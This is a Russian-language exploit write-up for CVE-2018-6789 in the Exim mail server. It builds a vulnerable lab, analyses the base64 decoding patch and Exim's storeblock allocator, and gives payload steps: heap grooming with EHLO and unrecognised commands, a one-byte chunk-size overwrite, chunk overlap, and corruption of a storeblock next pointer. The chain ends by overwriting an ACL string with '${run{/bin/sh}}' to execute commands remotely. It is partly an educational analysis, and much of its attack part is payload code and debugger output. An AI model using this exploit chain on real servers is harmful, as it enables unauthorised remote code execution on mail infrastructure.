
Эксплойт для CVE-2018-6789 — переполнение буфера в куче при декодировании base64 в Exim, обеспечивающее удалённое выполнение кода через перекрытие чанков и манипуляцию строками ACL.
Установка зависимостей
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
Скачать старую версию exim
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
Затем изменить Local/Makefile Для удобства все каталоги указывают на текущий каталог
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
Это упрощает отладку Затем скомпилировать и установить
make install
Изменить ./configure, просто перезаписать следующим содержимым
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
Сначала проанализируем патч в base64.c:
Здесь result — это буфер для хранения результата декодирования base64, полученный с помощью store_get.
Можно заметить, что вычисление размера до патча было некорректным: когда size находится в диапазоне 4n~4n+3, вычисленный размер одинаков, но b64decode при декодировании аргумента, длина которого не кратна 4, декодирует на один-два байта больше.
Например, отправим
auth_md5('Hf'*42)
size=0x40
Распределение памяти:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Попробуем
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Переполнение на два байта
Чтобы повысить производительность, exim реализовал собственную систему управления памятью поверх существующей кучи. Она действует как промежуточный буфер между кодом и glibc, целью которого является уменьшение количества вызовов malloc и free.
Для exim отдельный блок кучи называется storeblock. Каждый раз при использовании из него выделяется буфер подходящего размера. Если storeblock заканчивается, выделяется новый storeblock через malloc.
Для каждого storeblock его структура представляет собой простой односвязный список:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
Основные API для работы с кучей находятся в store.c:
store_get
store_release
store_extend
store_reset
store_get используется для получения буфера. Ключевой код:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162
163 if (!newblock)
164 {
165 pool_malloc += mlength; /* Used in pools */
166 nonpool_malloc -= mlength; /* Exclude from overall total */
167 newblock = store_malloc(mlength);
...
Как видно, минимальная длина запрашиваемого store_block равна STORE_BLOCK_SIZE, то есть 8192.
Таким образом, store_block размером 8192 вместе со своим заголовком и заголовком блока кучи имеет общий размер 0x2020.

Каждый раз, когда exim выполняет команду, отправленную клиентом, и команда выполняется успешно, вызывается store_reset, чтобы освободить ненужные кэши и лишние store_block. Под успешным выполнением здесь понимается корректный формат команды, отсутствие недопустимых символов в почтовом ящике и т.д.; в противном случае store_reset не вызывается.
Эта уязвимость — классическая off-by-one (хотя на самом деле можно переполнить два байта), но из-за малого количества переполняемых байтов невозможно напрямую перезаписать чувствительные структуры в куче. Поэтому необходимо использовать некоторые особенности ptmalloc, чтобы расширить влияние уязвимости, превратив её в более масштабное переполнение или overlap. Для off-by-one существует классический метод: увеличение чанка (chunk enlarge) -> перекрытие чанков (chunk overlap). Изменяя размер чанка на больший и подделывая заголовок для обхода проверок glibc, можно добиться перекрытия чанков и, следовательно, более широкого охвата перезаписи.
Основной процесс: chunk enlarge -> chunk overlap -> искажение указателя next в storeblock, затем вызов store_reset, что приводит к освобождению произвольного чанка. При повторном выделении этого чанка можно изменить его содержимое (type confusion). meh в своей статье рекомендует изменять чанк, содержащий строки ACL, поскольку в обработке строк ACL есть возможность выполнения команд. Синтаксис команды для выполнения в ACL:
${run{command}}
Примерная раскладка кучи выглядит следующим образом:

Здесь первый чанк — это чанк, полученный в результате декодирования base64, используемый для off-by-one. Поэтому он должен располагаться в конце storeblock. Для удобства мы просто запрашиваем чанк размером больше 0x2020 для хранения результата декодирования base64; Второй чанк — sender_helo_name, используется для перезаписи следующего чанка. sender_helo_name хранится не в storeblock, а выделяется напрямую через malloc:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
Таким образом, размер произвольный; Третий чанк — чанк, полученный от декодирования base64, используется для подделки заголовка и перезаписи. Он должен находиться в начале storeblock. Для удобства также запрашиваем размер 0x2020.
Мой эксплойт также получен пошагово, следуя анализу других в интернете. Общая идея та же, но раскладка кучи немного отличается от других, поэтому некоторые небольшие параметры различаются.
Сначала создаём unsortedbin размером 0x6060. Для этого достаточно следующей команды:
ehlo('a'*0x1000)
Когда exim получает "EHLO "+'a'*0x1000, в функции match_check_list в match.c генерируются следующие три строки:
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
где *name* это 'a'*0x1000
Так как длина name равна 0x1000, каждая строка будет занимать отдельный storeblock, и эти три строки будут последовательно расположены в трёх storeblock. Когда exim успешно завершает команду ehlo, в smtp_setup_msg из smtp_in.c освобождаются три предыдущие строки, образуя чанк размером 0x6060:
4369 cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370 smtp_reset(reset_point);
4371 toomany = FALSE;
4372 break; /* HELO/EHLO */
В этот момент раскладка кучи следующая:

Чтобы поместить sender_helo_name в середину чанков, нужно освободить исходный sender_helo_name, затем занять верхний чанк, а когда второй sender_helo_name займёт место, освободить верхний чанк. Здесь я использую нераспознанную команду (unrecognize command) для занятия места. При получении нераспознанной команды exim вызывает synprot_error для вывода ошибки, например:
79099 LOG: smtp_syntax_error MAIN
SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy...
**** debug string too long - truncated ****
Но если команда состоит только из видимых символов, exim не будет выделять новый чанк через malloc:
290 const uschar *
291 string_printing2(const uschar *s, BOOL allow_tab)
292 {
293 int nonprintcount = 0;
294 int length = 0;
295 const uschar *t = s;
296 uschar *ss, *tt;
297
298 while (*t != 0)
299 {
300 int c = *t++;
301 if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
302 length++;
303 }
304
305 if (nonprintcount == 0) return s;
306
307 /* Get a new block of store guaranteed big enough to hold the
308 expanded string. */
309
310 ss = store_get(length + nonprintcount * 3 + 1);
...
Если команда содержит непечатаемые символы, exim выделяет новый буфер и преобразует непечатаемые символы в восьмеричные строки, например '\xee' -> "\356". Отсюда и берётся length + (nonprintcount * 3 + 1).
Итак, сначала помещаем sender_ehlo_name в небольшой чанк, затем пытаемся отправить 0x800 символов '\xee'. Это приведёт к запросу 0x800 + 1 + 0x800 * 3 = 0x2001, но в текущем storeblock нет такого размера, поэтому будет выделен новый store_block.
ehlo('b'*0x20)
unrec('\xee'*0x800)

Затем запрашиваем sender_elho_name размером 0x2010:
ehlo('x'*0x2020)
При этом сначала освобождается предыдущий sender_elho_name размером 0x20:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838
1839 /* Discard any previous helo name */
1840
1841 if (sender_helo_name != NULL)
1842 {
1843 store_free(sender_helo_name);
1844 sender_helo_name = NULL;
1845 }
...
Затем выделяется новый sender_helo_name. После завершения вызывается store_reset для очистки ненужных чанков. Таким образом, error message размером 0x2020 освобождается и сливается с уже освобождённым sender_helo_name через malloc_consolidate, образуя новый чанк размером 0x2050:

Теперь раскладка кучи в основном завершена. Далее просто занимаем место и запускаем уязвимость:
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")
Занимаем верхний чанк, переполняем один байт, изменяя размер с 0x2021 на 0x20f1. Затем занимаем нижний чанк, подделывая размер 0x1f61, чтобы он указывал на следующий чанк:
payload2 = 'm'*0x38+p64(0x1f61)
auth_md5(b64encode(payload2))
Теперь снова выделяем чанк, потому что иначе перезаписанный storeblock является последним, и его next равен null:
auth_md5(b64encode('a'*0x1000))
Теперь можно освободить sender_helo_name, чтобы вызвать перекрытие чанков. Здесь есть один нюанс: нам нужен нижний чанк для предоставления указателя next (мы перезаписываем его для достижения произвольного освобождения), поэтому мы не хотим, чтобы этот чанк был освобождён. Поэтому можно сконструировать недопустимое имя, которое освободит только sender_helo_name:
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);
...
3998 HELO_EHLO: /* Common code for HELO and EHLO */
3999 cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000 cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001
4002 /* Reject the HELO if its argument was invalid or non-existent. A
4003 successful check causes the argument to be saved in malloc store. */
4004
4005 if (!check_helo(smtp_cmd_data))
4006 {
...
4022 break;
4023 }
Если check_helo не проходит, программа выходит из цикла, не вызывая store_reset. Посмотрим на логику check_helo:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870 /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871 that have been configured (usually underscore - sigh). */
1872
1873 else if (*s)
1874 for (yield = TRUE; *s; s++)
1875 if (!isalnum(*s) && *s != '.' && *s != '-' &&
1876 Ustrchr(helo_allow_chars, *s) == NULL)
1877 {
1878 yield = FALSE;
1879 break;
1880 }
...
1885 return yield;
1886 }
Видно, что check_helo проверяет отправленные символы: они должны быть буквами или некоторыми знаками препинания, либо входить в helo_allow_chars. Обычно helo_allow_chars пусто, так как это настраивается в конфигурационном файле. Поэтому можно сконструировать sender_helo_name с пробелом:
ehlo('pwn it!') #must include some invalide chars
Таким образом достигается перекрытие чанков. Далее занимаем этот чанк для перезаписи указателя next, чтобы он указывал на чанк со строками ACL. Возникает проблема: другие эксплойты использовали частичное переопределение для обхода ASLR, но это не работает в моём окружении, потому что чанк ACL и чанк, на который указывает next, находятся далеко друг от друга.
pwndbg> tel 0x7214c0+0x2030
00:0000│ 0x7234f0 ◂— 0x0
01:0008│ 0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│ 0x723500 —▸ 0x728510 <== next
03:0018│ 0x723508 ◂— 0x2000
pwndbg> tel 0x6f7990 <== acl chunk
00:0000│ 0x6f7990 ◂— 0x30 /* '0' */
01:0008│ 0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│ 0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│ 0x6f79a8 ◂— 0x2000
04:0020│ 0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│ 0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│ 0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│ 0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')
Поэтому мой эксплойт использует абсолютные адреса:
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))
Таким образом чанк со строками ACL добавляется в цепочку store_block. Когда мы меняем sender_helo_name, все эти чанки будут освобождены в store_reset. Итак, на этот раз отправляем легальное имя:
ehlo('I'*16)
Теперь при новом выделении чанка мы получим чанк, содержащий строки ACL:
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))
Здесь я перезаписываю адрес, на который указывает acl_smtp_mail. По сути, все строки ACL находятся в этом чанке, так как они читаются из configure последовательно и помещаются в буфер, полученный через store_get. Поэтому они хранятся последовательно в этом storeblock. Наконец, вызываем API, связанный с ACL:
r.sendline('MAIL FROM: <[email protected]>')
Затем в smtp_setup_msg->acl_check->acl_check_internal->expand_string->expand_cstring->expand_string_internal->child_open->child_open_uid вызывается execve для выполнения команды из run. На сервере появляется отладочная информация, показывающая, что команда действительно выполняется.
